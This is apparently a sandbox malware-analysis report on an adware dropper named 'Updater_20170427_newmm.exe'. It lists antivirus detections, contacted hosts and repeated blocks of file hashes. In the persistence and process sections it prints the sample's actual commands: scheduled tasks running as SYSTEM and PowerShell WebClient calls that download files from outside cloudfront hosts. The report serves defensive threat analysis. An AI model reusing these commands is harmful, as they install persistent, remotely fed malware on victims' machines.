Attention: please enable javascript in order to properly view and use this malware analysis service.
malicious
Threat Score: 100/100 AV Detection: 75% Labeled as: Trojan.Generic Link E-Mail

Updater_20170427_newmm.exe

This report is generated from a file or URL submitted to this webservice on April 27th 2017 19:30:38 (UTC)
Guest System: Windows 7 32 bit, Home Premium, 6.1 (build 7601), Service Pack 1
Falcon Sandbox v6.40 © Hybrid Analysis

Incident Response

Risk Assessment

Spyware
Accesses potentially sensitive information from local browsers
POSTs files to a webserver
Persistence
Interacts with the primary disk partition (DR0)
Shedules a task to be executed at a specific time and date
Spawns a lot of processes
Fingerprint
Found a dropped file containing the Windows username (possible fingerprint attempt)
Reads the active computer name
Reads the cryptographic machine GUID
Reads the windows installation date
Spreading
Opens the MountPointManager (often used to detect additional infection locations)
Network Behavior
Contacts 16 domains and 14 hosts. View all details

Indicators

Not all malicious and suspicious indicators are displayed. Get your own cloud service or the full version to view all details.

  • Malicious Indicators 16

  • External Systems
  • General
    • The analysis extracted a file that was identified as malicious
      details
      3/62 Antivirus vendors marked dropped file "UAC.dll" as malicious (classified as "W32.eHeur" with 4% detection rate)
      1/62 Antivirus vendors marked dropped file "psi.dll" as malicious (classified as "W32.eHeur" with 1% detection rate)
      3/61 Antivirus vendors marked dropped file "MIO.dll" as malicious (classified as "ELEX.R197761" with 4% detection rate)
      2/84 Antivirus vendors marked dropped file "MIO.exe" as malicious (classified as "Tencent.I potentially unwanted" with 2% detection rate)
      9/83 Antivirus vendors marked dropped file "kokoko.dll" as malicious (classified as "Adware.ELEX" with 10% detection rate)
      13/84 Antivirus vendors marked dropped file "WinSAP.dll" as malicious (classified as "Adware.ELEX" with 15% detection rate)
      5/83 Antivirus vendors marked dropped file "SSS.dll" as malicious (classified as "PUA.Elex" with 6% detection rate)
      source
      Binary File
      relevance
      10/10
    • The analysis spawned a process that was identified as malicious
      details
      9/62 Antivirus vendors marked spawned process "CPK.exe" (PID: 1036) as malicious (classified as "W32.Adware" with 14% detection rate)
      4/61 Antivirus vendors marked spawned process "QQBrowser.exe" (PID: 2620) as malicious (classified as "Adware.Agent.131640" with 6% detection rate)
      source
      Monitored Target
      relevance
      10/10
  • Installation/Persistance
    • Loads the task scheduler COM API
      details
      "schtasks.exe" loaded module "%WINDIR%\System32\taskschd.dll" at 70520000
      source
      Loaded Module
      relevance
      5/10
    • Shedules a task to be executed at a specific time and date
      details
      Process "schtasks.exe" with commandline "schtasks /Create /SC HOURLY /MO 2 /ST 09:45:00 /TN "Milimili" /TR "\"%PROGRAMFILES%\MIO\MIO.exe\" -bindurl http://api.suibianmaimaicom.com/vboxxharddisk_vb47a275fd-833fcbff.dat cmd=" /RU "SYSTEM" /F /RL HIGHEST" (Show Process)
      Process "schtasks.exe" with commandline "schtasks /Create /SC HOURLY /MO 3 /ST 00:37:00 /TN "Windows-PG" /TR "%WINDIR%\System32\WindowsPowerShell\v1.0\powershell.exe %WINDIR%\psgo\psgo.ps1" /RU "SYSTEM" /F /RL HIGHEST" (Show Process)
      Process "schtasks.exe" with commandline "schtasks /Run /TN Milimili" (Show Process)
      Process "schtasks.exe" with commandline "schtasks /Run /TN Windows-PG" (Show Process)
      source
      Monitored Target
      relevance
      8/10
  • Network Related
    • Contacts very many different hosts
      details
      Contacted 14 (or more) hosts in at least 2 different countries
      source
      Network Traffic
      relevance
      9/10
    • Found more than one unique User-Agent
      details
      Found the following User-Agents: WinSAP_http /1.4
      Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)
      DownlaodAndRun
      ASDGQERQTYQW/1.0
      official
      Mozilla/5.0 (Windows NT 6.1) AppleWebKit/536.5 (KHTML, like Gecko) Chrome/19.0.1084.46 Safari/536.5
      source
      Network Traffic
      relevance
      5/10
    • Malicious artifacts seen in the context of a contacted host
      details
      Found malicious artifacts related to "52.222.149.116" (ASN: , Owner: ): ...
      File SHA256: 8123f25a33b3bd3a2c28df4a824b4bd680fcba6af7d6c7604ec627a64c71a8f9 (AV positives: 17/61 scanned on 03/08/2017 19:49:16)
      File SHA256: 3b48fbe44e6d8546d07a5d3bbc076948b6e318b428e5993ab1654ed471eeec94 (AV positives: 14/25 scanned on 02/22/2017 22:18:36)
      File SHA256: 76220b019349ed08fe6422791b362bb20b0246240c90f7de98a7cc7e727f8acc (AV positives: 37/57 scanned on 01/10/2017 23:16:44)
      File SHA256: 11bb8278072d7c0d21a917a8a3f394021376630df5f32d94b966d7184ad28673 (AV positives: 38/57 scanned on 01/10/2017 06:26:01)
      File SHA256: 5fd4fa6fbecfecc19a0f6944e3cf95a0d3a5b1275d6bf8110d6a14c43321dc22 (AV positives: 29/56 scanned on 01/10/2017 05:43:33)
      Found malicious artifacts related to "52.222.149.239" (ASN: , Owner: ): ...
      File SHA256: 485a67ec8eb3cddefe8abe7f46d3cb0ab041a4b458428f72d77f3ab1a44c7d4a (AV positives: 40/57 scanned on 12/13/2016 22:29:45)
      File SHA256: 739679ce1414b89018fad1af1602db75c2ac15a0610b35a80bfe408d91569b4f (AV positives: 34/57 scanned on 12/13/2016 15:44:21)
      File SHA256: 4096b910eb630f0d36dec4ccaa13e59b4608a19725395759c6093b725fa5a3f4 (AV positives: 34/56 scanned on 12/13/2016 15:28:23)
      File SHA256: ce44663768520c2e793a6702013254dd4e4c6c743cf4534c49232a535b8e3a23 (AV positives: 35/57 scanned on 12/13/2016 14:36:25)
      File SHA256: d713c07ddf9e6f3ece25cbac31ab3bc10adc147a9905a7c81b836918bafed7ca (AV positives: 34/54 scanned on 12/13/2016 13:55:24)
      Found malicious artifacts related to "52.222.149.132" (ASN: , Owner: ): ...
      File SHA256: 49c09676b138d5aec92d9f903a0ec7a598a5170004fc61fc776853111a4b7aaa (AV positives: 28/55 scanned on 11/15/2016 15:36:19)
      File SHA256: d8a586ee2b5b227a55f8d7ec7b1fdc3dfc7927276e82d20eadae13b4e84faab9 (AV positives: 11/57 scanned on 10/01/2016 09:03:14)
      Found malicious artifacts related to "52.222.149.93" (ASN: , Owner: ): ...
      File SHA256: c94e52b0f48e838839f22b56125ece769d98f76cb237641f78abb302d062498f (AV positives: 44/61 scanned on 03/07/2017 22:33:13)
      File SHA256: 6059ad5ac60fbf932f4c509295f279eb4ab6b9e96cc3ef609535d52e7eb7ce31 (AV positives: 37/59 scanned on 02/26/2017 09:28:59)
      File SHA256: efba3e69286b7bc66b2e62996acc6d8f23d472f8a05aac8d77c92f0fde8f613b (AV positives: 9/58 scanned on 02/25/2017 23:41:31)
      File SHA256: 439d1068dc7d70fd0614d2995756ff35b7f360aad91ca5c70b56bf1d958b5925 (AV positives: 40/59 scanned on 02/23/2017 02:40:17)
      File SHA256: 0fbce86d5bdc1f3d8cec16d392faf057275a8d76a4575352c0fbbc32baa1a0d9 (AV positives: 40/58 scanned on 02/23/2017 01:29:53)
      Found malicious artifacts related to "52.222.149.79" (ASN: , Owner: ): ...
      File SHA256: 08f56b9d13e34711090e32c48b83166c4da839da9aa9f39117a26484f1b4c57a (AV positives: 37/61 scanned on 03/09/2017 14:24:01)
      File SHA256: 6a3af2493a2316ecad3d1eae043a1fd170f577780997beb47fadc4d8f60ed7b8 (AV positives: 36/60 scanned on 03/09/2017 13:37:29)
      File SHA256: bd5b8d60b21ae334e438d195aa9df6d86ebe9f98dd1593c51a5a79bd59240dad (AV positives: 36/61 scanned on 03/09/2017 08:52:34)
      File SHA256: 6231c9235d805b616daaf9efcbded0140e6320682ea0fe411f8f32a4916c995e (AV positives: 36/61 scanned on 03/09/2017 07:28:01)
      File SHA256: 1097a4c268fe72f23a83900256b64026638a9c010c5d0f405eba31511f5097c8 (AV positives: 37/59 scanned on 03/09/2017 05:58:19)
      Found malicious artifacts related to "52.222.149.201" (ASN: , Owner: ): ...
      File SHA256: 8fb6d6b2d60dd3036102e3ba9c00c8befda1add889fe591fd09a93e0f91a822f (AV positives: 45/59 scanned on 02/23/2017 06:33:56)
      File SHA256: 329d2d104c19266712cb33e2329c6efe3aab9f6f469c10e8c3b3122c6bf806d7 (AV positives: 34/59 scanned on 02/22/2017 15:03:52)
      File SHA256: 6848182f949b1a336e55da5664499a40f2056a3c16b78a46c8810241c4c4e61c (AV positives: 38/59 scanned on 02/22/2017 07:49:00)
      File SHA256: 0b209be02018e2ab8c2d41e368748c9fb8db923bbadc06c87c2f8d5df8db8ffe (AV positives: 31/59 scanned on 02/22/2017 06:46:51)
      File SHA256: 90d6cd1f4cb8f36dbf111fc3d9a52349d05af5f95c4e49597566fc0f0dc582c9 (AV positives: 34/59 scanned on 02/22/2017 06:43:15)
      Found malicious artifacts related to "52.222.149.160" (ASN: , Owner: ): ...
      File SHA256: 190bd120d9df3e1371a79a5415897d827f5b0cdec7930d03073e7d2b70df566b (AV positives: 41/59 scanned on 02/17/2017 21:44:26)
      File SHA256: 6fa60c112347e9fbbeb70d32751cb301f4dbd042881ff0b2a5aa3a9ea30c47b4 (AV positives: 36/57 scanned on 02/14/2017 00:34:13)
      File SHA256: dd60c6c3fb80d4163e658d1cb7e777c44e803352035213c401bf42daea9a89b0 (AV positives: 37/58 scanned on 02/14/2017 00:33:24)
      File SHA256: 1f34e7e3b2ffa030fb0d39160c8c7e7a3e667926bf0f0899bc46da3ad21a17ef (AV positives: 37/58 scanned on 02/13/2017 22:55:11)
      File SHA256: d8e13b8600a49b6944fa7a72ebfe7bdd059f08fa00b1edb00b5988528a7b793a (AV positives: 35/58 scanned on 02/13/2017 20:49:28)
      Found malicious artifacts related to "52.222.149.13" (ASN: , Owner: ): ...
      File SHA256: e5eee12296fba463f1429711afe1f561f72d10764dec5e8a18875aa17d3fe58d (AV positives: 51/58 scanned on 02/11/2017 02:28:59)
      File SHA256: 4b04d10476847fe99aed42f9b770bf74096ef64a227a6bf095500fe545d5567b (AV positives: 39/57 scanned on 01/04/2017 01:23:48)
      File SHA256: 05fd0c1bd2e4c47674221ee06607bea32ff6c8ac270f0de9726b885416edbef8 (AV positives: 44/57 scanned on 12/27/2016 23:55:42)
      File SHA256: c06fec937cce129d2e0c4e60c5853bb0cfb038fd09d7d21fc9e31161a8e517c7 (AV positives: 43/57 scanned on 12/27/2016 18:24:59)
      File SHA256: 401a40b2516df2c16cc14e44ce63cabd4279af061a713c93494891ba2409c2a8 (AV positives: 37/57 scanned on 12/24/2016 23:23:07)
      Found malicious artifacts related to "52.222.149.46" (ASN: , Owner: ): ...
      File SHA256: fc20d68438d9bc9f7adc4083a1eff7de191ec338eb92cf4bd4211d385b384b76 (AV positives: 38/58 scanned on 02/21/2017 01:43:07)
      File SHA256: 25ce51fa87ae76a4d291511fe4646c80b767dba4df32b0a920a9537e011282ab (AV positives: 21/57 scanned on 02/20/2017 00:20:47)
      File SHA256: 1f060573bbf7405656f248d119a995cf205c228932b6a513043378723ccc64bf (AV positives: 38/59 scanned on 02/19/2017 20:45:25)
      File SHA256: b22df06580bb8d449b8aaf458c2b4fdbe1cdbf96be1c8e8099c71b03c5827dce (AV positives: 19/58 scanned on 02/19/2017 01:57:33)
      File SHA256: ba60870a4ffe255ba8465b41e132db1ab0a758bc1f836b2f77137b2b06929bca (AV positives: 32/59 scanned on 02/18/2017 07:31:57)
      Found malicious artifacts related to "52.222.149.25" (ASN: , Owner: ): ...
      File SHA256: 38d0b83de3c372e355fbfc98ddf73de30a7b2d92564b533d1cc2e118755f1607 (AV positives: 34/59 scanned on 02/20/2017 18:59:45)
      File SHA256: c01156280282971f332b78acc9f7bfe0a641bcd1fcda5589c2d0ef9f27053f3b (AV positives: 35/59 scanned on 02/20/2017 15:00:38)
      File SHA256: 09b6de076e6a03190f9abf7480007945eedb47678587e99b88fff1e5466eb8b3 (AV positives: 34/59 scanned on 02/19/2017 11:11:23)
      File SHA256: 24ed7bc55a6852332362594d0511dd6ae78b5b3a262c60770303a8d29dc97aea (AV positives: 38/58 scanned on 02/19/2017 05:28:31)
      File SHA256: 4b5fd2e72971f0abbf4dd5ca0580ef764a1c8f8939a146fc6b0b5037ee375193 (AV positives: 40/59 scanned on 02/19/2017 02:59:50)
      Found malicious artifacts related to "52.222.149.32" (ASN: , Owner: ): ...
      File SHA256: 22965821133fccad9af76f00e96065828d3542a552ce50df49b4a768747485db (AV positives: 13/61 scanned on 03/08/2017 13:12:04)
      File SHA256: 94158fe0ce02f8948a0a5c7ec3cf0d0003a7bbd87c3f906a70294978a723901d (AV positives: 13/60 scanned on 03/08/2017 10:41:08)
      File SHA256: 4068ba77825906221cdfce9452182baef2196ff92dc721779a42fc17d6c4271a (AV positives: 38/59 scanned on 02/26/2017 10:25:20)
      File SHA256: 6059ad5ac60fbf932f4c509295f279eb4ab6b9e96cc3ef609535d52e7eb7ce31 (AV positives: 37/59 scanned on 02/26/2017 09:28:59)
      File SHA256: fbb351740d20b08df08707ad7bdfeeaedd23a49d6cf569139bb79b7ef35347d5 (AV positives: 46/59 scanned on 02/26/2017 07:44:17)
      Found malicious artifacts related to "52.222.149.6" (ASN: , Owner: ): ...
      File SHA256: c94e52b0f48e838839f22b56125ece769d98f76cb237641f78abb302d062498f (AV positives: 44/61 scanned on 03/07/2017 22:33:12)
      File SHA256: 7230aa62e6c1cbf0161adf4b4091c299c97098fcb935dea0cf50f65d3a724bff (AV positives: 35/59 scanned on 02/24/2017 13:12:31)
      File SHA256: 4e63dff0a6015a74c5194fd4bab20bd36241891d56f8c12e7c1a274aaf7eedd0 (AV positives: 35/59 scanned on 02/24/2017 09:28:40)
      File SHA256: dcbf0b4a5e55f80f5d4d3c27b7928533d60eac88f83f7038fedf7386e9f58bd9 (AV positives: 39/59 scanned on 02/24/2017 02:37:21)
      File SHA256: a3126ec0a34c5bcdd4c264ca4ff22aba6c85fafe15b46a1572ce6376d78c0204 (AV positives: 34/59 scanned on 02/24/2017 01:41:56)
      Found malicious artifacts related to "203.205.151.234" (ASN: 132203, Owner: Tencent Building, Kejizhongyi Avenue): ...
      URL: http://zb.cgi.qq.com/ (AV positives: 1/68 scanned on 01/16/2017 00:16:28)
      URL: http://rcgi.video.qq.com/ (AV positives: 1/68 scanned on 01/13/2017 02:56:58)
      URL: http://rcgi.video.qq.com/report/search (AV positives: 1/68 scanned on 01/09/2017 10:20:23)
      URL: http://rcgi.video.qq.com/web_report (AV positives: 1/69 scanned on 01/09/2017 10:14:42)
      URL: http://rcgi.video.qq.com/pv_report?refer=https%3A%2F%2Fv.qq.com%2F&ptag=|new_vs_feature:item&itype=0&idx=1&t=1483499316559 (AV positives: 1/68 scanned on 01/04/2017 03:42:20)
      File SHA256: 6d7238b630f465c10259155de5ee8bf056466a077441ca9f11943631bf8562a6 (AV positives: 11/61 scanned on 04/26/2017 11:08:12)
      File SHA256: da98ff18a98a76ff1421c58779b1d608ae9321330d23ca1585593e6ab6726538 (AV positives: 53/62 scanned on 04/26/2017 09:18:26)
      File SHA256: 743fd9164b19594ec23250fb58386b9f533a61fc212462193c115bab6204593d (AV positives: 3/27 scanned on 04/24/2017 07:12:12)
      File SHA256: ffa3bd5de683ae1b584cd2753cdd3f6ffddf1f9bc43a5a652e835e8e32d64183 (AV positives: 27/61 scanned on 04/23/2017 22:28:39)
      File SHA256: f874ee1ec87dc8d3aba4539cfc1c2da314bb7ac3b54586ba5079716330bb6268 (AV positives: 55/62 scanned on 04/21/2017 20:37:12)
      source
      Network Traffic
      relevance
      10/10
    • Multiple malicious artifacts seen in the context of different hosts
      details
      Found malicious artifacts related to "52.222.149.116" (ASN: , Owner: ): ...
      File SHA256: 8123f25a33b3bd3a2c28df4a824b4bd680fcba6af7d6c7604ec627a64c71a8f9 (AV positives: 17/61 scanned on 03/08/2017 19:49:16)
      File SHA256: 3b48fbe44e6d8546d07a5d3bbc076948b6e318b428e5993ab1654ed471eeec94 (AV positives: 14/25 scanned on 02/22/2017 22:18:36)
      File SHA256: 76220b019349ed08fe6422791b362bb20b0246240c90f7de98a7cc7e727f8acc (AV positives: 37/57 scanned on 01/10/2017 23:16:44)
      File SHA256: 11bb8278072d7c0d21a917a8a3f394021376630df5f32d94b966d7184ad28673 (AV positives: 38/57 scanned on 01/10/2017 06:26:01)
      File SHA256: 5fd4fa6fbecfecc19a0f6944e3cf95a0d3a5b1275d6bf8110d6a14c43321dc22 (AV positives: 29/56 scanned on 01/10/2017 05:43:33)
      Found malicious artifacts related to "52.222.149.239" (ASN: , Owner: ): ...
      File SHA256: 485a67ec8eb3cddefe8abe7f46d3cb0ab041a4b458428f72d77f3ab1a44c7d4a (AV positives: 40/57 scanned on 12/13/2016 22:29:45)
      File SHA256: 739679ce1414b89018fad1af1602db75c2ac15a0610b35a80bfe408d91569b4f (AV positives: 34/57 scanned on 12/13/2016 15:44:21)
      File SHA256: 4096b910eb630f0d36dec4ccaa13e59b4608a19725395759c6093b725fa5a3f4 (AV positives: 34/56 scanned on 12/13/2016 15:28:23)
      File SHA256: ce44663768520c2e793a6702013254dd4e4c6c743cf4534c49232a535b8e3a23 (AV positives: 35/57 scanned on 12/13/2016 14:36:25)
      File SHA256: d713c07ddf9e6f3ece25cbac31ab3bc10adc147a9905a7c81b836918bafed7ca (AV positives: 34/54 scanned on 12/13/2016 13:55:24)
      Found malicious artifacts related to "52.222.149.132" (ASN: , Owner: ): ...
      File SHA256: 49c09676b138d5aec92d9f903a0ec7a598a5170004fc61fc776853111a4b7aaa (AV positives: 28/55 scanned on 11/15/2016 15:36:19)
      File SHA256: d8a586ee2b5b227a55f8d7ec7b1fdc3dfc7927276e82d20eadae13b4e84faab9 (AV positives: 11/57 scanned on 10/01/2016 09:03:14)
      Found malicious artifacts related to "52.222.149.93" (ASN: , Owner: ): ...
      File SHA256: c94e52b0f48e838839f22b56125ece769d98f76cb237641f78abb302d062498f (AV positives: 44/61 scanned on 03/07/2017 22:33:13)
      File SHA256: 6059ad5ac60fbf932f4c509295f279eb4ab6b9e96cc3ef609535d52e7eb7ce31 (AV positives: 37/59 scanned on 02/26/2017 09:28:59)
      File SHA256: efba3e69286b7bc66b2e62996acc6d8f23d472f8a05aac8d77c92f0fde8f613b (AV positives: 9/58 scanned on 02/25/2017 23:41:31)
      File SHA256: 439d1068dc7d70fd0614d2995756ff35b7f360aad91ca5c70b56bf1d958b5925 (AV positives: 40/59 scanned on 02/23/2017 02:40:17)
      File SHA256: 0fbce86d5bdc1f3d8cec16d392faf057275a8d76a4575352c0fbbc32baa1a0d9 (AV positives: 40/58 scanned on 02/23/2017 01:29:53)
      Found malicious artifacts related to "52.222.149.79" (ASN: , Owner: ): ...
      File SHA256: 08f56b9d13e34711090e32c48b83166c4da839da9aa9f39117a26484f1b4c57a (AV positives: 37/61 scanned on 03/09/2017 14:24:01)
      File SHA256: 6a3af2493a2316ecad3d1eae043a1fd170f577780997beb47fadc4d8f60ed7b8 (AV positives: 36/60 scanned on 03/09/2017 13:37:29)
      File SHA256: bd5b8d60b21ae334e438d195aa9df6d86ebe9f98dd1593c51a5a79bd59240dad (AV positives: 36/61 scanned on 03/09/2017 08:52:34)
      File SHA256: 6231c9235d805b616daaf9efcbded0140e6320682ea0fe411f8f32a4916c995e (AV positives: 36/61 scanned on 03/09/2017 07:28:01)
      File SHA256: 1097a4c268fe72f23a83900256b64026638a9c010c5d0f405eba31511f5097c8 (AV positives: 37/59 scanned on 03/09/2017 05:58:19)
      Found malicious artifacts related to "52.222.149.201" (ASN: , Owner: ): ...
      File SHA256: 8fb6d6b2d60dd3036102e3ba9c00c8befda1add889fe591fd09a93e0f91a822f (AV positives: 45/59 scanned on 02/23/2017 06:33:56)
      File SHA256: 329d2d104c19266712cb33e2329c6efe3aab9f6f469c10e8c3b3122c6bf806d7 (AV positives: 34/59 scanned on 02/22/2017 15:03:52)
      File SHA256: 6848182f949b1a336e55da5664499a40f2056a3c16b78a46c8810241c4c4e61c (AV positives: 38/59 scanned on 02/22/2017 07:49:00)
      File SHA256: 0b209be02018e2ab8c2d41e368748c9fb8db923bbadc06c87c2f8d5df8db8ffe (AV positives: 31/59 scanned on 02/22/2017 06:46:51)
      File SHA256: 90d6cd1f4cb8f36dbf111fc3d9a52349d05af5f95c4e49597566fc0f0dc582c9 (AV positives: 34/59 scanned on 02/22/2017 06:43:15)
      Found malicious artifacts related to "52.222.149.160" (ASN: , Owner: ): ...
      File SHA256: 190bd120d9df3e1371a79a5415897d827f5b0cdec7930d03073e7d2b70df566b (AV positives: 41/59 scanned on 02/17/2017 21:44:26)
      File SHA256: 6fa60c112347e9fbbeb70d32751cb301f4dbd042881ff0b2a5aa3a9ea30c47b4 (AV positives: 36/57 scanned on 02/14/2017 00:34:13)
      File SHA256: dd60c6c3fb80d4163e658d1cb7e777c44e803352035213c401bf42daea9a89b0 (AV positives: 37/58 scanned on 02/14/2017 00:33:24)
      File SHA256: 1f34e7e3b2ffa030fb0d39160c8c7e7a3e667926bf0f0899bc46da3ad21a17ef (AV positives: 37/58 scanned on 02/13/2017 22:55:11)
      File SHA256: d8e13b8600a49b6944fa7a72ebfe7bdd059f08fa00b1edb00b5988528a7b793a (AV positives: 35/58 scanned on 02/13/2017 20:49:28)
      Found malicious artifacts related to "52.222.149.13" (ASN: , Owner: ): ...
      File SHA256: e5eee12296fba463f1429711afe1f561f72d10764dec5e8a18875aa17d3fe58d (AV positives: 51/58 scanned on 02/11/2017 02:28:59)
      File SHA256: 4b04d10476847fe99aed42f9b770bf74096ef64a227a6bf095500fe545d5567b (AV positives: 39/57 scanned on 01/04/2017 01:23:48)
      File SHA256: 05fd0c1bd2e4c47674221ee06607bea32ff6c8ac270f0de9726b885416edbef8 (AV positives: 44/57 scanned on 12/27/2016 23:55:42)
      File SHA256: c06fec937cce129d2e0c4e60c5853bb0cfb038fd09d7d21fc9e31161a8e517c7 (AV positives: 43/57 scanned on 12/27/2016 18:24:59)
      File SHA256: 401a40b2516df2c16cc14e44ce63cabd4279af061a713c93494891ba2409c2a8 (AV positives: 37/57 scanned on 12/24/2016 23:23:07)
      Found malicious artifacts related to "52.222.149.46" (ASN: , Owner: ): ...
      File SHA256: fc20d68438d9bc9f7adc4083a1eff7de191ec338eb92cf4bd4211d385b384b76 (AV positives: 38/58 scanned on 02/21/2017 01:43:07)
      File SHA256: 25ce51fa87ae76a4d291511fe4646c80b767dba4df32b0a920a9537e011282ab (AV positives: 21/57 scanned on 02/20/2017 00:20:47)
      File SHA256: 1f060573bbf7405656f248d119a995cf205c228932b6a513043378723ccc64bf (AV positives: 38/59 scanned on 02/19/2017 20:45:25)
      File SHA256: b22df06580bb8d449b8aaf458c2b4fdbe1cdbf96be1c8e8099c71b03c5827dce (AV positives: 19/58 scanned on 02/19/2017 01:57:33)
      File SHA256: ba60870a4ffe255ba8465b41e132db1ab0a758bc1f836b2f77137b2b06929bca (AV positives: 32/59 scanned on 02/18/2017 07:31:57)
      Found malicious artifacts related to "52.222.149.25" (ASN: , Owner: ): ...
      File SHA256: 38d0b83de3c372e355fbfc98ddf73de30a7b2d92564b533d1cc2e118755f1607 (AV positives: 34/59 scanned on 02/20/2017 18:59:45)
      File SHA256: c01156280282971f332b78acc9f7bfe0a641bcd1fcda5589c2d0ef9f27053f3b (AV positives: 35/59 scanned on 02/20/2017 15:00:38)
      File SHA256: 09b6de076e6a03190f9abf7480007945eedb47678587e99b88fff1e5466eb8b3 (AV positives: 34/59 scanned on 02/19/2017 11:11:23)
      File SHA256: 24ed7bc55a6852332362594d0511dd6ae78b5b3a262c60770303a8d29dc97aea (AV positives: 38/58 scanned on 02/19/2017 05:28:31)
      File SHA256: 4b5fd2e72971f0abbf4dd5ca0580ef764a1c8f8939a146fc6b0b5037ee375193 (AV positives: 40/59 scanned on 02/19/2017 02:59:50)
      Found malicious artifacts related to "52.222.149.32" (ASN: , Owner: ): ...
      File SHA256: 22965821133fccad9af76f00e96065828d3542a552ce50df49b4a768747485db (AV positives: 13/61 scanned on 03/08/2017 13:12:04)
      File SHA256: 94158fe0ce02f8948a0a5c7ec3cf0d0003a7bbd87c3f906a70294978a723901d (AV positives: 13/60 scanned on 03/08/2017 10:41:08)
      File SHA256: 4068ba77825906221cdfce9452182baef2196ff92dc721779a42fc17d6c4271a (AV positives: 38/59 scanned on 02/26/2017 10:25:20)
      File SHA256: 6059ad5ac60fbf932f4c509295f279eb4ab6b9e96cc3ef609535d52e7eb7ce31 (AV positives: 37/59 scanned on 02/26/2017 09:28:59)
      File SHA256: fbb351740d20b08df08707ad7bdfeeaedd23a49d6cf569139bb79b7ef35347d5 (AV positives: 46/59 scanned on 02/26/2017 07:44:17)
      Found malicious artifacts related to "52.222.149.6" (ASN: , Owner: ): ...
      File SHA256: c94e52b0f48e838839f22b56125ece769d98f76cb237641f78abb302d062498f (AV positives: 44/61 scanned on 03/07/2017 22:33:12)
      File SHA256: 7230aa62e6c1cbf0161adf4b4091c299c97098fcb935dea0cf50f65d3a724bff (AV positives: 35/59 scanned on 02/24/2017 13:12:31)
      File SHA256: 4e63dff0a6015a74c5194fd4bab20bd36241891d56f8c12e7c1a274aaf7eedd0 (AV positives: 35/59 scanned on 02/24/2017 09:28:40)
      File SHA256: dcbf0b4a5e55f80f5d4d3c27b7928533d60eac88f83f7038fedf7386e9f58bd9 (AV positives: 39/59 scanned on 02/24/2017 02:37:21)
      File SHA256: a3126ec0a34c5bcdd4c264ca4ff22aba6c85fafe15b46a1572ce6376d78c0204 (AV positives: 34/59 scanned on 02/24/2017 01:41:56)
      Found malicious artifacts related to "203.205.151.234" (ASN: 132203, Owner: Tencent Building, Kejizhongyi Avenue): ...
      URL: http://zb.cgi.qq.com/ (AV positives: 1/68 scanned on 01/16/2017 00:16:28)
      URL: http://rcgi.video.qq.com/ (AV positives: 1/68 scanned on 01/13/2017 02:56:58)
      URL: http://rcgi.video.qq.com/report/search (AV positives: 1/68 scanned on 01/09/2017 10:20:23)
      URL: http://rcgi.video.qq.com/web_report (AV positives: 1/69 scanned on 01/09/2017 10:14:42)
      URL: http://rcgi.video.qq.com/pv_report?refer=https%3A%2F%2Fv.qq.com%2F&ptag=|new_vs_feature:item&itype=0&idx=1&t=1483499316559 (AV positives: 1/68 scanned on 01/04/2017 03:42:20)
      File SHA256: 6d7238b630f465c10259155de5ee8bf056466a077441ca9f11943631bf8562a6 (AV positives: 11/61 scanned on 04/26/2017 11:08:12)
      File SHA256: da98ff18a98a76ff1421c58779b1d608ae9321330d23ca1585593e6ab6726538 (AV positives: 53/62 scanned on 04/26/2017 09:18:26)
      File SHA256: 743fd9164b19594ec23250fb58386b9f533a61fc212462193c115bab6204593d (AV positives: 3/27 scanned on 04/24/2017 07:12:12)
      File SHA256: ffa3bd5de683ae1b584cd2753cdd3f6ffddf1f9bc43a5a652e835e8e32d64183 (AV positives: 27/61 scanned on 04/23/2017 22:28:39)
      File SHA256: f874ee1ec87dc8d3aba4539cfc1c2da314bb7ac3b54586ba5079716330bb6268 (AV positives: 55/62 scanned on 04/21/2017 20:37:12)
      source
      Network Traffic
      relevance
      10/10
  • System Destruction
    • Interacts with the primary disk partition (DR0)
      details
      "rundll32.exe" interacting with "\Device\Harddisk0\DR0" using IoControlCode 0x7c088
      "CPK.exe" interacting with "\Device\Harddisk0\DR0" using IoControlCode 0x2d1400
      "QQBrowser.exe" interacting with "\Device\Harddisk0\DR0" using IoControlCode 0x7c088
      source
      API Call
      relevance
      5/10
  • Unusual Characteristics
    • References suspicious system modules
      details
      "ntoskrnl.exe"
      source
      String
      relevance
      5/10
    • Spawns a lot of processes
      details
      Spawned process "powershell.exe" with commandline "$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=ClearLog.install.finish','%TEMP%\csp8203.tmp')" (Show Process)
      Spawned process "powershell.exe" with commandline "$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=WinSAP.install.finish','%TEMP%\csp8E4D.tmp')" (Show Process)
      Spawned process "msiexec.exe" with commandline "/i "C:\winsap_update\Snarer.msi" /qn" (Show Process)
      Spawned process "powershell.exe" with commandline "$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=winsnare.install.finish','%TEMP%\cspB165.tmp')" (Show Process)
      Spawned process "CPK.exe" with commandline "-ns" (Show Process)
      Spawned process "powershell.exe" with commandline "$client = new-object System.Net.WebClient;$client.DownloadFile('http://d2hrpnfyb3wv3k.cloudfront.net/provide?clients=FDCD348802B68637AEF7B63EA18BF8E1&reqs=visit.cpk.startload','11')" (Show Process)
      Spawned process "powershell.exe" with commandline "$client = new-object System.Net.WebClient;$client.DownloadFile('http://d2hrpnfyb3wv3k.cloudfront.net/provide?clients=FDCD348802B68637AEF7B63EA18BF8E1&reqs=visit.cpk.install.true','33')" (Show Process)
      Spawned process "powershell.exe" with commandline "$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=CPK.install.finish','%TEMP%\csp379D.tmp')" (Show Process)
      Spawned process "powershell.exe" with commandline "$client = new-object System.Net.WebClient; $client.DownloadFile('http://d4c04g24ci6x7.cloudfront.net/v4/gtg/VBOXXHARDDISK_VB47a275fd-833fcbff?action=psgo.install.finish','%TEMP%\csp3939.tmp')" (Show Process)
